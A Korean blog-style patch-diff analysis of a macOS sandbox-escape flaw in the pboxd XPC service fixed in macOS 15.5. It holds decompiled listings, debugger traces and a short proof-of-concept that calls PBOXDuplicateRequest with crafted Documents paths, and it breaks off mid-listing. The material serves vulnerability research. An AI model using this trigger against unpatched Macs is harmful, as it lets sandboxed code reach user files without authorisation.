http://support.apple.com/ko-kr/122716

해당 취약점은 macOS Sequoia 15.5에서 패치되었으며, 샌드박스를 탈출할 수 있는 취약점이다.
RemoteViewServices 서비스에서 취약점이 발생한다.
Diffing / Analysis
취약한 macOS 15.4.1 버전과 패치된 15.5 대상으로 디핑을 진행하였다.
취약점이 발견된 바이너리는 다음과 같다.
- /System/Library/PrivateFrameworks/RemoteViewServices.framework/XPCServices/com.apple.security.pboxd.xpc/Contents/MacOS/com.apple.security.pboxd

바이너리를 추출해서 Bindiff를 통해 비교해봤을 때, 함수 1개에서 차이점이 존재하였다.
- -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]
해당 메소드를 살펴보면 다음과 같다.
- macOS 15.4.1 취약한 버전
id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:]( PBOXRelatedItemSession *self, SEL a2, id a3, id a4, id *a5) { NSError *v5; // x0 NSError *v6; // x0 NSError *v7; // x0 id v8; // x0 id v9; // x0 NSError *v10; // x0 NSError *v11; // x0 id v12; // x0 void *v13; // x0 NSError *v14; // x0 NSString *v15; // x8 id v16; // x0 void *v17; // x0 NSError *v19; // [xsp+38h] [xbp-1E8h] id v20; // [xsp+40h] [xbp-1E0h] __int64 v21; // [xsp+48h] [xbp-1D8h] NSError *v22; // [xsp+50h] [xbp-1D0h] NSFileManager *v23; // [xsp+58h] [xbp-1C8h] unsigned __int8 v24; // [xsp+64h] [xbp-1BCh] NSError *v25; // [xsp+68h] [xbp-1B8h] id v26; // [xsp+70h] [xbp-1B0h] int *v27; // [xsp+78h] [xbp-1A8h] unsigned int v28; // [xsp+84h] [xbp-19Ch] int *p_pid; // [xsp+90h] [xbp-190h] unsigned int v30; // [xsp+9Ch] [xbp-184h] NSError *v31; // [xsp+A0h] [xbp-180h] id v32; // [xsp+B0h] [xbp-170h] id v33; // [xsp+B8h] [xbp-168h] unsigned __int8 v34; // [xsp+C4h] [xbp-15Ch] NSError *v35; // [xsp+C8h] [xbp-158h] id v36; // [xsp+D8h] [xbp-148h] id v37; // [xsp+E0h] [xbp-140h] int v38; // [xsp+ECh] [xbp-134h] NSError *v39; // [xsp+F0h] [xbp-130h] id v40; // [xsp+F8h] [xbp-128h] id v41; // [xsp+100h] [xbp-120h] NSArray *v42; // [xsp+108h] [xbp-118h] void *v45; // [xsp+120h] [xbp-100h] void *v46; // [xsp+128h] [xbp-F8h] void *v47; // [xsp+138h] [xbp-E8h] _OWORD v48[2]; // [xsp+140h] [xbp-E0h] BYREF _OWORD v49[2]; // [xsp+160h] [xbp-C0h] BYREF id v50; // [xsp+188h] [xbp-98h] BYREF id v51; // [xsp+190h] [xbp-90h] BYREF char v52; // [xsp+19Fh] [xbp-81h] id v53; // [xsp+1A0h] [xbp-80h] id v54; // [xsp+1A8h] [xbp-78h] BYREF id v55; // [xsp+1B0h] [xbp-70h] BYREF int v56; // [xsp+1BCh] [xbp-64h] id v57; // [xsp+1C0h] [xbp-60h] BYREF id v58; // [xsp+1C8h] [xbp-58h] BYREF id v59; // [xsp+1D0h] [xbp-50h] BYREF id v60; // [xsp+1D8h] [xbp-48h] BYREF id *v61; // [xsp+1E0h] [xbp-40h] id v62; // [xsp+1E8h] [xbp-38h] BYREF id location[2]; // [xsp+1F0h] [xbp-30h] BYREF PBOXRelatedItemSession *v64; // [xsp+200h] [xbp-20h] id v65; // [xsp+208h] [xbp-18h] __int64 vars8; // [xsp+228h] [xbp+8h] v64 = self; location[1] = (id)a2; location[0] = 0; objc_storeStrong(location, a3); v62 = 0; objc_storeStrong(&v62, a4); v61 = a5; v60 = 0; v45 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "stringByDeletingLastPathComponent")); v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v45, "stringByPBOXRealPath")); objc_release(v45); v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, "stringByDeletingLastPathComponent")); v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, "stringByPBOXRealPath")); objc_release(v46); if ( ((unsigned int)objc_msgSend(v59, "isEqualToString:", v58) & 1) != 0 ) goto LABEL_8; v42 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1)); v41 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v42, "lastObject")); v57 = objc_retainAutoreleasedReturnValue(objc_msgSend(v41, "stringByPBOXRealPath")); objc_release(v41); objc_release(v42); if ( v57 ) { if ( ((unsigned int)objc_msgSend(v57, "isEqualToString:", v58) & 1) != 0 ) { v56 = 0; } else { v39 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0)); v5 = objc_autorelease(v39); *v61 = v39; v65 = 0; v56 = 1; } } else { v40 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger")); objc_msgSend(v40, "debug:", CFSTR("NSSearchPathForDirectoriesInDomains returns no Documents directory")); objc_release(v40); v65 = 0; v56 = 1; } objc_storeStrong(&v57, 0); if ( !v56 ) { LABEL_8: v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "lastPathComponent")); v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v62, "lastPathComponent")); v36 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension")); v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "pathExtension")); v52 = 0; LOBYTE(v38) = 0; if ( ((unsigned __int8)objc_msgSend(v36, "isEqualToString:") & 1) == 0 ) { v53 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "pathExtension")); v52 = 1; v38 = sub_10001332C(v53) ^ 1; } if ( (v52 & 1) != 0 ) objc_release(v53); objc_release(v37); objc_release(v36); if ( (v38 & 1) != 0 ) { v35 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0)); v6 = objc_autorelease(v35); *v61 = v35; v65 = 0; v56 = 1; } else { v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v54, "stringByDeletingPathExtension")); v32 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "stringByDeletingPathExtension")); v34 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:]( &OBJC_CLASS___NSDocument, "_validateDuplicateDocumentName:withOriginalName:", v33); objc_release(v32); objc_release(v33); if ( (v34 & 1) != 0 ) { v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, "stringByAppendingPathComponent:", v55)); v50 = objc_retainAutoreleasedReturnValue(objc_msgSend(v58, "stringByAppendingPathComponent:", v54)); p_pid = &v64->_pid; v30 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL; v8 = objc_retainAutorelease(v51); objc_msgSend(v51, "UTF8String"); v49[0] = *(_OWORD *)p_pid; v49[1] = *((_OWORD *)p_pid + 1); if ( (unsigned int)sandbox_check_by_audit_token(v49, "file-write-data", v30) && (v27 = &v64->_pid, v28 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL, v26 = v51, v9 = objc_retainAutorelease(v51), objc_msgSend(v26, "UTF8String"), v48[0] = *(_OWORD *)v27, v48[1] = *((_OWORD *)v27 + 1), (unsigned int)sandbox_check_by_audit_token(v48, "file-read-data", v28)) ) { v25 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0)); v10 = objc_autorelease(v25); *v61 = v25; v65 = 0; v56 = 1; } else { v23 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager")); v24 = -[NSFileManager fileExistsAtPath:](v23, "fileExistsAtPath:", v50); objc_release(v23); if ( (v24 & 1) != 0 ) { v22 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 17, 0)); v11 = objc_autorelease(v22); *v61 = v22; v65 = 0; v56 = 1; } else { v21 = APP_SANDBOX_READ_WRITE; v20 = v50; v12 = objc_retainAutorelease(v50); v13 = objc_msgSend(v20, "UTF8String"); v47 = (void *)sandbox_extension_issue_file(v21, v13, SANDBOX_EXTENSION_CANONICAL); if ( v47 ) { v15 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v47)); v16 = v60; v60 = v15; objc_release(v16); free(v47); v65 = objc_retain(v60); } else { v19 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, *__error(), 0)); v14 = objc_autorelease(v19); *v61 = v19; v65 = 0; } v56 = 1; } } objc_storeStrong(&v50, 0); objc_storeStrong(&v51, 0); } else { v31 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0)); v7 = objc_autorelease(v31); *v61 = v31; v65 = 0; v56 = 1; } } objc_storeStrong(&v54, 0); objc_storeStrong(&v55, 0); } objc_storeStrong(&v58, 0); objc_storeStrong(&v59, 0); objc_storeStrong(&v60, 0); objc_storeStrong(&v62, 0); objc_storeStrong(location, 0); v17 = v65; if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) __break(0xC471u); return objc_autoreleaseReturnValue(v17); }
- macOS 15.5 패치한 버전
void __cdecl -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:]( PBOXRelatedItemSession *self, SEL a2, id a3, id a4) { id v5; // [xsp+30h] [xbp-20h] BYREF id location[3]; // [xsp+38h] [xbp-18h] BYREF location[2] = self; location[1] = (id)a2; location[0] = 0; objc_storeStrong(location, a3); v5 = 0; objc_storeStrong(&v5, a4); objc_msgSend(v5, "setReturnCode:", 0); objc_storeStrong(&v5, 0); objc_storeStrong(location, 0); }
위 함수를 보면, 패치된 버전에서는 리턴코드를 항상 0으로 세팅하고 코드가 엄청 짧지만 취약한 버전에서는 그렇지 않다.
취약한 메소드를 트리거하는 방법은 다음과 같다.
(도중에 분석하기 귀찮아서 … 으로 생략)
// RemoteViewServices PBOXDuplicateRequest -> _sendServiceRequest -> xpc_connection_send_message ... // com.apple.security.pboxd -> -[PBOXServer run] -> sub_100001AEC -> sub_100001B50 -> -[PBOXServer _dispatchRequestToNewSession:] -> sub_100001E14 xpc_dictionary_get_value(location[0], "PBOXSessionTypeKey")) ... v8 = objc_alloc(&OBJC_CLASS___PBOXRelatedItemSession); v9 = -[PBOXRelatedItemSession initWithConnection:](v8, "initWithConnection:", v36); ... -> -[PBOXRelatedItemSession initWithConnection:] ... -> -[PBOXRelatedItemSession connection:didReceiveRequest:] -> -[PBOXRelatedItemSession _handleDuplicateRequest:withReply:] -> -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:]
트리거하는 방법은 RemoteViewServices 라이브러리의 PBOXDuplicateRequest 함수를 사용하는 것이다.
저 함수를 보았을때 3개의 매개변수를 입력받는데, 각 타입을 추측하면 다음과 같다.
먼저 a1,a2 매개변수는 향후 isFileURL 인스턴스 메소드를 호출되기에 NSURL *타입이고, a3는 향후 “errorWithDomain:code:userInfo:” 메소드를 호출하는것으로 보아 NSError *타입이다.
따라서 NULL 또는 호출결과 에러정보를 알기 위해 NSError * 객체로 들어가면 될 것이고, a1, a2는 파일 경로를 넣어주면 될 것이다.
a1 → PBOXRelatedItemDuplicateRequestRequestOriginalItemKey a2 → PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey
위와 같이 키 값으로 설정된다.
__int64 __fastcall PBOXDuplicateRequest(void *a1, void *a2, _QWORD *a3) { id v5; // x19 id v6; // x20 NSRemoteServiceRequest *v7; // x22 void *v8; // x23 void *v9; // x23 id v10; // x0 id v11; // x23 __int64 v12; // x21 v5 = objc_retain(a1); v6 = objc_retain(a2); if ( (unsigned int)objc_msgSend(v5, "isFileURL") && ((unsigned int)objc_msgSend(v6, "isFileURL") & 1) != 0 ) { v7 = -[NSRemoteServiceRequest initWithType:](objc_alloc(&OBJC_CLASS___NSRemoteServiceRequest), "initWithType:", 2); if ( v7 ) { v8 = objc_retainAutoreleasedReturnValue(objc_msgSend(v5, "path")); -[NSRemoteServiceRequest setArgument:forKey:]( v7, "setArgument:forKey:", v8, CFSTR("PBOXRelatedItemDuplicateRequestRequestOriginalItemKey")); objc_release(v8); v9 = objc_retainAutoreleasedReturnValue(objc_msgSend(v6, "path")); -[NSRemoteServiceRequest setArgument:forKey:]( v7, "setArgument:forKey:", v9, CFSTR("PBOXRelatedItemDuplicateRequestRequestDuplicateItemKey")); objc_release(v9); v10 = objc_retainAutoreleasedReturnValue(_sendServiceRequest(v7)); v11 = v10; if ( v10 ) { v12 = handleReply(v10, a3); LABEL_11: objc_release(v11); objc_release(v7); goto LABEL_12; } } else { v11 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger")); objc_msgSend(v11, "debug:", CFSTR("PBOXDuplicateRequest: Could not create request object")); } v12 = -1; goto LABEL_11; } if ( a3 ) *a3 = objc_autorelease(objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B56758], "errorWithDomain:code:userInfo:", *MEMORY[0x1E8B560F8], 22, 0))); v12 = -1; LABEL_12: objc_release(v6); objc_release(v5); return v12; }
_sendServiceRequest 메소드 호출로 이어지는데,
PBOXSessionTypeKey 키값을 3으로 세팅하고 보낼 메시지와 함께 com.apple.security.pboxd XPC 서비스와의 연결을 준비한고 보낸다.
id __fastcall _sendServiceRequest(void *a1) { id v1; // x19 dispatch_queue_global_s *v2; // x21 _xpc_connection_s *v3; // x20 xpc_object_t v4; // x0 void *v5; // x21 NSRemoteServiceConnection *v6; // x23 id v7; // x22 id v8; // x0 __CFString *v9; // x2 __int64 vars8; // [xsp+38h] [xbp+8h] v1 = objc_retain(a1); v2 = objc_retainAutoreleasedReturnValue(dispatch_get_global_queue(0, 0)); v3 = xpc_connection_create("com.apple.security.pboxd", v2); objc_release(v2); if ( v3 ) { v4 = xpc_dictionary_create(0, 0, 0); if ( v4 ) { v5 = v4; xpc_dictionary_set_uint64(v4, "PBOXSessionTypeKey", 3u); xpc_connection_set_event_handler(v3, &__block_literal_global_2); xpc_connection_resume(v3); xpc_connection_send_message(v3, v5); xpc_connection_suspend(v3); v6 = -[NSRemoteServiceConnection initWithServiceConnection:]( objc_alloc(&OBJC_CLASS___NSRemoteServiceConnection), "initWithServiceConnection:", v3); -[NSRemoteServiceConnection resume](v6, "resume"); v7 = objc_retainAutoreleasedReturnValue(-[NSRemoteServiceConnection sendSynchronousRequest:](v6, "sendSynchronousRequest:", v1)); objc_release(v6); goto LABEL_7; } v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger")); v5 = v8; v9 = CFSTR("_sendServiceRequest: Could not create session creation message"); } else { v8 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger")); v5 = v8; v9 = CFSTR("_sendServiceRequest: Could not create connection to service"); } objc_msgSend(v8, "debug:", v9); v7 = 0; LABEL_7: objc_release(v5); objc_release(v3); objc_release(v1); if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) __break(0xC471u); return objc_autoreleaseReturnValue(v7); }
여기까지가 RemoteViewServices 라이브러리의 분석 내용이었다. com.apple.security.pboxd XPC 프로세스에서 PBOXSessionTypeKey 키 값을 비교하는데, 해당 함수는 sub_100001E14이다.
추적해서 최종 취약점이 있는 메소드인 -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:] 메소드에 브레이크포인트를 걸고,
poc 코드에 나와있듯 매개변수에는 각각 “/Users/[사용자명]/Documents”, “/Users/[사용자명]/Documents copy 1337”을 넣어서 PBOXDuplicateRequest 함수를 호출해본다.
NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg2 NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath]; NSString *copiedPath = [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg1 NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath]; NSError *_error = nil; int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);
그러면 해당 취약점이 있는 메소드에서 실행이 중단된다.
(lldb) c Process 958 resuming Process 958 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x000000010074373c com.apple.security.pboxd`___lldb_unnamed_symbol509 com.apple.security.pboxd`___lldb_unnamed_symbol509: -> 0x10074373c <+0>: pacibsp 0x100743740 <+4>: stp x28, x27, [sp, #-0x20]! 0x100743744 <+8>: stp x29, x30, [sp, #0x10] 0x100743748 <+12>: add x29, sp, #0x10 (lldb) po $x0 <PBOXRelatedItemSession: 0xb101a90e0> (lldb) reg read x1 x1 = 0x0000000100750fab "_requestDuplicateDocument:withDuplicateName:error:" (lldb) po $x2 /Users/seo/Documents (lldb) po $x3 /Users/seo/Documents copy 1337
PBOXDuplicateRequest 함수에 넘긴 매개변수가 그대로 넘어가
a3 = “/Users/seo/Documents”
a4 = “/Users/seo/Documents copy 1337”가 들어간다.
id __cdecl -[PBOXRelatedItemSession _requestDuplicateDocument:withDuplicateName:error:]( PBOXRelatedItemSession *self, SEL a2, id a3, id a4, id *a5)
먼저 a3, a4에 들어간 경로에서 각각 마지막 경로 컴프넌트를 제거하여 v60, v59 변수에 저장한다. stringByPBOXRealPath 메소드는 내부적으로 realpath_DARWIN_EXTSN 함수를 호출하여 실제 절대 경로를 구해준다.
v65 = self; location[1] = (id)a2; location[0] = 0; objc_storeStrong(location, a3); v63 = 0; objc_storeStrong(&v63, a4); v62 = a5; v61 = 0; v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "stringByDeletingLastPathComponent"));// /Users/seo/Documents -> /Users/seo, a3에 들어간 경로에서 마지막 경로 컴포넌트를 제거함 v60 = objc_retainAutoreleasedReturnValue(objc_msgSend(v46, "stringByPBOXRealPath")); objc_release(v46); v47 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, "stringByDeletingLastPathComponent"));// /Users/seo/Documents copy 1337 -> /Users/seo, a4에 들어간 경로에서 마지막 경로 컴퍼넌트를 제거함 v59 = objc_retainAutoreleasedReturnValue(objc_msgSend(v47, "stringByPBOXRealPath")); objc_release(v47);
id __cdecl -[NSString stringByPBOXRealPath](NSString *self, SEL a2) { NSString *v2; // x0 void *v3; // x0 id v6; // [xsp+18h] [xbp-28h] BYREF void *v7; // [xsp+20h] [xbp-20h] SEL v8; // [xsp+28h] [xbp-18h] NSString *v9; // [xsp+30h] [xbp-10h] id v10; // [xsp+38h] [xbp-8h] __int64 vars8; // [xsp+48h] [xbp+8h] v9 = self; v8 = a2; v2 = objc_retainAutorelease(self); v7 = realpath_DARWIN_EXTSN(-[NSString fileSystemRepresentation](self, "fileSystemRepresentation"), 0); if ( v7 ) { v6 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v7)); free(v7); v10 = objc_retain(v6); objc_storeStrong(&v6, 0); } else { v10 = 0; } v3 = v10; if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) __break(0xC471u); return objc_autoreleaseReturnValue(v3); }
이후에는 v60, v59 변수에 들어간 문자열이 서로 같기 떄문에 LABEL_8으로 이동한다.
if ( ((unsigned int)objc_msgSend(v60, "isEqualToString:", v59) & 1) != 0 ) goto LABEL_8; v43 = objc_retainAutoreleasedReturnValue(NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1)); v42 = objc_retainAutoreleasedReturnValue(-[NSArray lastObject](v43, "lastObject")); v58 = objc_retainAutoreleasedReturnValue(objc_msgSend(v42, "stringByPBOXRealPath")); objc_release(v42); objc_release(v43); if ( v58 ) { if ( ((unsigned int)objc_msgSend(v58, "isEqualToString:", v59) & 1) != 0 ) { v57 = 0; } else { v40 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0)); v5 = objc_autorelease(v40); *v62 = v40; v66 = 0; v57 = 1; } } else { v41 = objc_retainAutoreleasedReturnValue(+[RVSLogger defaultLogger](&OBJC_CLASS___RVSLogger, "defaultLogger")); objc_msgSend(v41, "debug:", CFSTR("NSSearchPathForDirectoriesInDomains returns no Documents directory")); objc_release(v41); v66 = 0; v57 = 1; } objc_storeStrong(&v58, 0); if ( !v57 ) { LABEL_8: ... } objc_storeStrong(&v59, 0); objc_storeStrong(&v60, 0); objc_storeStrong(&v61, 0); objc_storeStrong(&v63, 0); objc_storeStrong(location, 0); v18 = v66; if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) __break(0xC471u); return objc_autoreleaseReturnValue(v18); }
각 마지막 컴포너트 파일 이름에서 확장자가 있는지 파싱하고,
if ( !v57 ) // v56 should be 0, to enter if statement { LABEL_8: v56 = objc_retainAutoreleasedReturnValue(objc_msgSend(location[0], "lastPathComponent"));// /Users/seo/Documents -> Documents v55 = objc_retainAutoreleasedReturnValue(objc_msgSend(v63, "lastPathComponent"));// /Users/seo/Documents copy 1337 -> Documents copy 1337 v37 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, "pathExtension"));// Documents -> nil v38 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension"));// Documents copy 1337 -> nil
확장자가 둘다 nil이기에 참이 된다.
따라서 if 문안에 있는 코드가 진입하지 않는다.
if ( ((unsigned __int8)objc_msgSend(v37, "isEqualToString:") & 1) == 0 )// nil == nil { v54 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "pathExtension")); v53 = 1; v39 = sub_10001332C(v54) ^ 1; }
그리고 v53은 초기 선언에서 0을 지정했기에 else 문으로 진입하게 된다..
if ( (v53 & 1) != 0 ) objc_release(v54); objc_release(v38); objc_release(v37); if ( (v39 & 1) != 0 ) { v36 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0)); v6 = objc_autorelease(v36); *v62 = v36; v66 = 0; v57 = 1; } else //else 문 진입!!!! { ...
else 문 뒤에는 +[NSDocument _validateDuplicateDocumentName:withOriginalName:] 메소드를 통해 어떠한 검증을 하고 있는데, 우선 검증하는 메소드의 각각 매개변수에는 확장자를 제거한 파일 이름이 들어간다.
else { v34 = objc_retainAutoreleasedReturnValue(objc_msgSend(v55, "stringByDeletingPathExtension")); v33 = objc_retainAutoreleasedReturnValue(objc_msgSend(v56, "stringByDeletingPathExtension")); v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:]( &OBJC_CLASS___NSDocument, "_validateDuplicateDocumentName:withOriginalName:", v34); objc_release(v33); objc_release(v34);
(lldb) c Process 958 resuming Process 958 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1 frame #0: 0x0000000100743b3c com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1024 com.apple.security.pboxd`___lldb_unnamed_symbol509: -> 0x100743b3c <+1024>: bl 0x10074d0c0 0x100743b40 <+1028>: mov x8, x0 0x100743b44 <+1032>: ldr x0, [sp, #0xb0] 0x100743b48 <+1036>: str w8, [sp, #0xc4] Target 0: (com.apple.security.pboxd) stopped. (lldb) po $x0 NSDocument (lldb) po $x1 <nil> (lldb) po $x2 Documents copy 1337 (lldb) po $x3 Documents
+[NSDocument _validateDuplicateDocumentName:withOriginalName:] 해당 메소드는 AppKit 라이브러리에 들어가있다.
메소드 반환이 참이 될려면 조건은 다음과 같다.
- “복제명(첫 번째 인자)”의 숫자 부분이 “원본명(두 번째 인자)”의 숫자 부분보다 커야 한다.
- 두 이름의 “기본 이름(base name)”(숫자 접미사를 제외한 앞부분)이 서로 동일해야 한다.
따라서 두번째 매개변수에 Documents copy 1337 들어간 이유 중 하나이다.
bool __cdecl +[NSDocument _validateDuplicateDocumentName:withOriginalName:](id a1, SEL a2, id a3, id a4) { id v6; // x19 id v7; // x20 id v8; // x21 id v9; // x22 unsigned __int8 v10; // w23 id v12; // [xsp+0h] [xbp-50h] BYREF id v13; // [xsp+8h] [xbp-48h] BYREF __int64 v14; // [xsp+10h] [xbp-40h] BYREF __int64 v15; // [xsp+18h] [xbp-38h] BYREF v6 = objc_retain(a3); v7 = objc_retain(a4); v14 = 0; v15 = 0; v13 = 0; objc_msgSend(a1, "_parseBaseName:number:fromDisplayName:", &v13, &v15, v6); v8 = objc_retain(v13); v12 = 0; objc_msgSend(a1, "_parseBaseName:number:fromDisplayName:", &v12, &v14, v7); v9 = objc_retain(v12); if ( v15 <= v14 ) v10 = 0; else v10 = (unsigned __int8)objc_msgSend(v8, "isEqualToString:", v9); objc_release(v9); objc_release(v8); objc_release(v7); objc_release(v6); return v10; }
void __cdecl +[NSDocument _parseBaseName:number:fromDisplayName:](id a1, SEL a2, id *a3, signed __int64 *a4, id a5) { id v8; // x19 id v9; // x24 id v10; // x25 void *v11; // x23 void *v12; // x24 __int64 v13; // x25 void *v14; // x26 id v15; // x0 __int128 v16; // [xsp+0h] [xbp-130h] BYREF __int128 v17; // [xsp+10h] [xbp-120h] __int128 v18; // [xsp+20h] [xbp-110h] __int128 v19; // [xsp+30h] [xbp-100h] _QWORD v20[2]; // [xsp+48h] [xbp-E8h] BYREF _BYTE v21[128]; // [xsp+58h] [xbp-D8h] BYREF __int64 v22; // [xsp+D8h] [xbp-58h] v22 = *MEMORY[0x1E8BC4698]; v8 = objc_retain(a5); v16 = 0u; v17 = 0u; v18 = 0u; v19 = 0u; v9 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR("Document"), CFSTR("%@ copy"))); v20[0] = v9; v10 = objc_retainAutoreleasedReturnValue((id)_NXKitString(CFSTR("Document"), CFSTR("%@ copy %@"))); v20[1] = v10; v11 = objc_retainAutoreleasedReturnValue(objc_msgSend(MEMORY[0x1E8B488C8], "arrayWithObjects:count:", v20, 2)); objc_release(v10); objc_release(v9); v12 = objc_msgSend(v11, "countByEnumeratingWithState:objects:count:", &v16, v21, 16); if ( v12 ) { v13 = *(_QWORD *)v17; while ( 2 ) { v14 = 0; do { if ( *(_QWORD *)v17 != v13 ) objc_enumerationMutation(v11); if ( ((unsigned int)objc_msgSend( a1, "_parseName:number:fromDisplayName:withTemplate:", a3, a4, v8, *(_QWORD *)(*((_QWORD *)&v16 + 1) + 8LL * (_QWORD)v14)) & 1) != 0 ) { objc_release(v11); goto LABEL_11; } v14 = (char *)v14 + 1; } while ( v12 != v14 ); v12 = objc_msgSend(v11, "countByEnumeratingWithState:objects:count:", &v16, v21, 16); if ( v12 ) continue; break; } } objc_release(v11); *a4 = 0; v15 = objc_retainAutorelease(v8); *a3 = v8; LABEL_11: objc_release(v8); }
방금 언급한 메소드는 이제 참이 되어 v35값은 1로 지정된다.
그리고 (unsigned int)sandbox_check_by_audit_token(v50, “file-write-data”, v31)에서 1을 반환하는데, /Users/seo/Documents copy 1337 파일을 쓸 수 있는지 확인한다. 샌드박스에 의해 막히기 때문에 1을 반환한다.
그러면 goto LABEL_19;으로 이동하지 않고 한번 더 검사하는데,
(unsigned int)sandbox_check_by_audit_token(v49, “file-read-data”, v29) 호출을 통해 /Users/seo/Documents 내의 파일을 읽을 수 있는지 확인한다.
그렇다… 사실은 /Users/seo/Documents 에 읽기 권한을 주어야만 샌드박스 탈출이 가능한것이다. 나름 제한적이라고 볼 수 있다.
v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:]( &OBJC_CLASS___NSDocument, "_validateDuplicateDocumentName:withOriginalName:", v34); objc_release(v33); objc_release(v34); if ( (v35 & 1) != 0 ) { v52 = objc_retainAutoreleasedReturnValue(objc_msgSend(v60, "stringByAppendingPathComponent:", v56)); v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, "stringByAppendingPathComponent:", v55)); p_pid = &v65->_pid; v31 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL; v8 = objc_retainAutorelease(v52); v9 = objc_msgSend(v52, "UTF8String"); v50[0] = *(_OWORD *)p_pid; v50[1] = *((_OWORD *)p_pid + 1); v20 = v9; if ( !(unsigned int)sandbox_check_by_audit_token(v50, "file-write-data", v31) ) goto LABEL_19; v28 = &v65->_pid; v29 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL; v27 = v52; v10 = objc_retainAutorelease(v52); v11 = objc_msgSend(v27, "UTF8String", v20); v49[0] = *(_OWORD *)v28; v49[1] = *((_OWORD *)v28 + 1); v20 = v11; if ( (unsigned int)sandbox_check_by_audit_token(v49, "file-read-data", v29) ) { v26 = objc_retainAutoreleasedReturnValue( +[NSError errorWithDomain:code:userInfo:]( &OBJC_CLASS___NSError, "errorWithDomain:code:userInfo:", NSPOSIXErrorDomain, 1, 0, v20)); v12 = objc_autorelease(v26); *v62 = v26; v66 = 0; v57 = 